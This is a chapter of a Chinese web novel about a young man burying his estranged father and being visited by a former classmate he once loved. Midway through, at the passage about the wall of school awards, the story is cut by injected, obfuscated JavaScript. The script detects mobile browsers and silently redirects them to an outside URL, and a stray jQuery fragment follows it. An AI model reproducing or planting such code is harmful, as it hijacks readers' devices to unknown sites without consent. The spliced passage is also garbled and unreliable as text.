吃了晚饭不久，棺材送过来，林向阳在外面扫码。
几个老辈子拿竹杆帮着抬进去。
“那边把脚上的麻绳改了。”
林贵脚上用麻绳绑死了，现在解开，脚也并不拢，放棺材后拿黄纸塞满了缝，免得他在里面乱晃。
林向阳也跟着搭了把手，只是触感奇异，心脏忍不住怦怦跳。
刚才没抬稳，林贵脸上的黄纸也动了下，林向阳下意识去看，只觉得那张脸熟悉又陌生。
片刻后，道士让他剪个黑色衣服的尖角放进去，以后林贵好保佑他。
林向阳对着羽绒服的衣摆比划，衣服倒是黑色的，就是价格三千，没有林贵保佑好像还有钱点。
晚上叔伯几个留着说要守夜，林向阳不会打牌，就被赶到一边去守香火，八仙桌上放了一盆米，米上的香燃了一茬又一茬，棺材下点的香烛也是。
直到上山之前不能断。
他晚上也没吃好，他咬了两口旺旺雪饼，阖上衣服，被门外的冷风吹得脸凉，就着叮铃哐啷的打牌声，砸桌声，困在椅子上打瞌睡。
高高瘦瘦一个，在黑羽绒服的衬托下好像个黑球，大大的塞在小小的椅子上。
闹钟半小时一响，他就去看香火燃完没。
他迷瞪瞪的起来，被闹钟震地心脏猛跳。
倒是旁边的叔伯说，你闹钟关了嘛，哈儿又响哈儿又响的，香烛我们看到的。
林向阳笑嘻嘻地应了，然后刷着视频，只眼睛一眯，神经就很快将他喊醒。
早上六点还要去外面放一串鞭炮，等着吃早餐之前，他要给他爸先端一碗饭，筷子头对着灵位，叫他爸先吃。
做完这些，然后继续跪拜守着香火。
他回来没吃好也没睡好，一箱行李放卧室门口，里面实在没人打理早积了不少灰，让他去他爸的那间房，他也不乐意。
索性天冷，人两天不洗澡也不会太臭，就是头发脏了点，香里来灰里去，伸手扒拉都是结。
就这样恍恍惚惚，灵魂出窍，身体自行驱动地过了两天。第三天大早上，一群人都来帮忙，林向阳帮着热了早饭，两桌人挤挤开吃。
早上温度趋近零度，来的不多。
道士先生算了八字，某些时辰出生的人和小孩回避，毛笔写的白纸贴墙上，抬棺的人进去，掐着时间，棺材出了大门。
抬棺的都是些五六十岁下力的，早二十年是他们，后二十年还是他们。
村长数落着后一代青黄不接，往后这些老的走了，没人能抬动棺。
也幸好林贵这口棺买得轻巧。
但一路上还是走走停停，林向阳端着灵位走在前台，叔伯们都被散了烟，棺材放在长条凳上。
他们歇着气，一人一句说林贵不靠谱，打小就是个偷奸耍滑的，现在竟然走在他们前头。
毕竟林贵也算年轻的，该林贵抬完他们再等后人抬。
人上山了做完仪式就埋，竹扎纸糊的灵房和旧衣服一烧，再发点糖果和白糕，回去就等着吃中饭。
吃完就可以散场。
老辈子拍着他的肩膀说以后就是一家之主了，还是该考虑一下人生大事了。
林向阳站在门口感谢着邻里，天也冷，一条龙收拾着桌凳碗筷，速度麻溜利索。
刚刚还热热闹闹的，现在筷子一丢碗一放，也没人留下来吹冷风了。
他和村里人也是不熟的，除了在这里长到十四五岁，之后都在镇上城里生活，不怎么回来。
林向阳送走餐饮车，坐回了老房子的门槛上，黑色的长款羽绒服早就蹭了白的灰的，黑的看不清。
他看了看手机，昨晚充的点，现在还有百分之七十。
感觉自己这两天身心俱疲，时间被痛苦地度日拉长了无数倍。整个人都恍惚的不行。
因为没有太多爱，好像也没太多痛。
电话突兀响起，这两天打了无数次，他听到就挂断，响得烦人，等响第三次的时候，他转身进屋。
把门带上半扇，他躲在阴影里接通，语气冷淡。
“我爸真死了，你不信，要不你也来披麻戴孝跪两天？”
“给我的还想拿回去，你怎么去打官司告我。到时候咱们都去网上火一把，让网友帮我找个下家。”
“要不你爸死一下，我再跟你好好说话。”
“再闹就分手，没心情哄你。”
掐断电话，林向阳放空了一下大脑。
人忙起来的时候，情绪是被掏空的。
道士先生说他爸死了，点儿都不着急，还跪那么慢。
他没什么感觉，好像大家都在着急，着急地给林贵一场体面的送别。等人都走完，他都感觉这两天好像一场梦。
看着那人脸上盖着黄纸，他都感到陌生。
上次他回来也是几年前了，不当不正的一天。
当时林贵打电话说他最近脚趴手软，可能生病了。
林向阳在上班，昼夜颠倒，白天还没睡好，就接到这样一通电话。
他让林贵去看病，林贵说不去，让他回去看他。
四十多度的天，一路上赶回来，衬衣湿透，林向阳撩开头发吹着风扇，说还以为他要死了。
老旧的电风扇是他爷奶买的，人都走很久了，电风扇还在嗡嗡转。
他被热得没法，买了空调叫人安装。
林贵说他浪费钱，骂他龟儿。
林向阳听到这话也冒火。
林贵说他妈到处搞，说他是外头男人的野种，他小时候不当回事，后来越听越觉得不爽。
空调还是安了，他人没留下来。
后来的后来，两人电话也很少打，没说两句就挂了。
没什么话聊，也没什么心情。
没经历生死的人，总是觉得一辈子还长，相见时间还多，但实际上见一次少一次。
他还记得自己幼时，跟着去赶场，地面脏，林贵把他举坐在肩头，高高的，他尖叫着晃动，看着市场上的人人马马，很是兴奋。
后来有一年，去了哪个亲戚家，捉了两只蚕回来养，林贵就到处给摘桑叶，给他养蚕宝宝。
明明小时候的事还记得很清楚，但又好像过了很久很久。
久到他的记忆畅游了一圈，连从前那些零碎的，不愿意想起的画面都翻看了一遍。
听到外面发出声响，沉闷的，笃笃两下，有人敲门。
他回神，拉开门看出去，就看到个熟悉的面容站在外面，高高的，像是遮挡住了门框透进来的所有天光。
“向阳。”沈致喊了一声。声音不轻不重，和从前一样。
他穿得随意，比起那天西装皮鞋，金边镜框的严整模样，更接地气。
林向阳回神，招呼道，“哟，老同学，你怎么来了。快请进。”
沈致停在屋门口，前两天下过雨，地面有些湿润，运动鞋踩在上面，溜出一个大大的脚印。
他听到林向阳语音含笑，这人说话就是这样，语气里总是带着笑音，听上去就叫人觉得高兴。
林向阳看了看屋里，空荡荡。
堂屋里的佛像图撤了，桌上插香烛的米盆端了，其实还是到处被烟熏得灰扑扑的。空气里残留着做道场时候的味道。
地面的纸钱灰被人踩过七八糟，黑乎乎地被风一带，飘得满屋都是。
沈致就那么站在屋内，他穿着短款的黄色羽绒服，长条条的双腿，整个人干净得不像话，运动鞋也没沾灰，鲜明得格格不入，衬得满屋的积灰和四壁的蛛网更刺眼。
林向阳闭了闭眼，一时天上地下，简短人生中，他给沈致留下的印象永远都是狼狈模样。
只是不知这次，比前几次又如何。
“我这收拾东西呢，好像也没你落脚的地方，要不你出去坐坐？外面有点冷……我给你开个空调。”
林向阳说话颠三倒四，满屋找空调遥控器。
“话说这客厅的空调还是我去年？前年还是大前年让人装的，效果应该还不错。我看看。”
遥控器外面的包装拿透明胶缠紧，他研究了一下，嘀地一声，抬头看，空调启动。
沈致稍稍低头，随手拿了一张木凳，正对着堂屋，坐在门边。
林向阳转身，就看到对方望着墙面发愣。
家里都是土墙，被石灰刷过，年久墙皮泛黄，墙皮剥落。
墙上贴满了奖状，大大小小几十张，金红两色被透明胶固定，有的胶带失效沾着脏污飘飞，又被另一层大胶带黏上。
林向阳同学：于2004-2005学年中，品德优良，学习刻苦，热爱劳动，团结同学，被评为三好学生。特发此状，以资鼓励。
林向阳同学：于2005-2006学年中，校级数学竞赛中，成绩优异，荣获一等奖，特发此状，以资鼓励。
林向阳……于2006-2007……优秀少先队员……
林向阳……于2006-2007……三好学生……
林向阳……于2007-2008……作文二等奖……
林向阳……于2008-2009……优秀班干部……
……
……
……
林向阳同学：你信念坚定，勤学实干，乐于奉献，模范带头，表现突出。经评选，授予你 “优秀团员” 荣誉称号。望珍惜荣誉，继续前行！
林向阳同学：于2012-2013学年，品行端正，学习刻苦，热爱集体，被评为校级优秀毕业生。特发此状，以资鼓励。
荣誉被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17974683|214728||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
垒得高高的，往深了看，细了看，却压得林向阳喘不过气。
耳朵阵阵嗡鸣，他以前最喜欢过年。
因为他父母离婚后，妈妈会在过年前带他去买新衣服，他爸就跟着同乡干工地。
他拿着新得的奖状，跟妈妈说，跟爸爸说，跟公婆说，他考了多少分，位列第几，考市重高易如反掌。
林贵从工地上回来，抽出红票子给他，说：“以后考个水木大学！”
此刻，林向阳的羞愧尽显，脸上满是无地自容的尴尬，他笑着，只是笑着。
只一瞬间，沈致的目光又回到他身上，眼睛跟雷达一样跟着他，沉着冷静的，意味不明。
林向阳发憷，想着自己以前应该没得罪过他，高中毕业后更是没来往。
难道是为了高中那会儿借的八百块？
屋里已经不知道是暖是冷了，林向阳有些发热，像是因尴尬而抓地忙碌出的热。
空调发出轻微声响，就再没其他动静。
家里还在用温水瓶，听说他爸舍不得钱，甚至没给家里安天然气和自来水。
他家的水都是从旁边的井水打的，但现在他连热水都给人找不到一口喝。
他窘迫着窘迫着，忽地就笑了。
他笑得眉眼弯弯，他知道自己什么样的笑容令人感到亲切，他说：“你可别说要在我家喝水，我现在好像都找不到热水喝。”
“那去我家？有多的空房。”沈致说：“我看你这几天好像没好好吃饭。”
林向阳脸上的笑意不减，心想，这话说得，看不到的时候呢？
他摇头啧啧两声，“我都知道家里有人刚过世的孝家不能乱串门。”
沈致的确不知道这些，他愣了下。
不过还没等沈致说话，林向阳就说：“我等会儿就回去。不麻烦你了，也不去打扰你们家。”
“回去？回哪里？”
“我妈那儿。”
“省城吗？你现在在省城吗？”
“嗯，对。”林向阳点点头，他嘴角挂着一抹淡淡的笑。
“做什么工作？怎么没遇到过？”
嗯？
林向阳听出对方言外之意，抬头，笑容就在脸上挂好，“你也在啊，那很巧了。我以为你会在北上广那些……”
林向阳垂眸，说：“我听说你现在混的不错，那肯定是遇不到了。我就随便上上班，进进厂，你怎么可能遇到我。”
沈致点点头，并不继续林向阳的话题，说：“那正好，我和你一起。我开车回来的。”
“牛逼啊哥们儿，我看到了，你们家现在越来越发达了，村口那个带院子的别墅好像就是你家老宅的重建的吧？真气派。你爸妈现在也退休了？”
“向阳——”
“你这年龄也差不多了，结了婚再生两个孩子，你父母帮着一起带，也算子孙满堂，有福之家。”
“你别说这些。”
林向阳笑容僵了僵，说话也缓慢了：“怪没意思的，沈致，我现在还挺落魄的，看你那么好，我是由衷为你高兴。”
林向阳叹口气，“但我还是挺不得劲儿……要不，咱们改天再叙旧？再谈下去，我好像要开始仇富了。”
沈致伸手，“手机给我。”
“做什么。”
沈致说，“我的号码一直没变。你可能已经忘记了。”
林向阳客气地笑音说：“没那个必要。要我联系干嘛？我也没能找得上你们的业务。”
但他的手机还是被人抢了过去。
那是款iPhone 16 Pro Max，配色奢雅。
只是当沈致习惯性按键解锁，却发现不是原来密码。他怅然恍惚一瞬。
林向阳配合解锁后，一言不发，脸上略微冷意地看着沈致的动作。
叙旧当然只是托词。他没有想和人再生联系。
下一刻，
某品牌铃声振响。
沈致的电话被拨通。
用林向阳的手机。
沈致垂着眼，看他屏幕上，自己的号码亮了一会儿，直到铃声快断掉，才抬手按了挂断。
他手速飞快，在林向阳的手机里，输入自己的名字。
做完这些，他才长松口气地将手机递回。
林向阳接过手机，垂眼看着联系人名单，沉默了许久。
这个号码他背过，删过，后来好多年没想起来过。
他把手机锁屏，若无其事地放入兜里。
沈致就站在那里，身形仍旧挺拔。
林向阳抬头，对上沈致毫无破绽的脸，那张脸下颌线清晰，此刻唇线绷直。
林向阳语气冷冷淡淡，“哥们你是不是忘了。我是同性恋，我喜欢过你，跟你告白，你拒绝了。”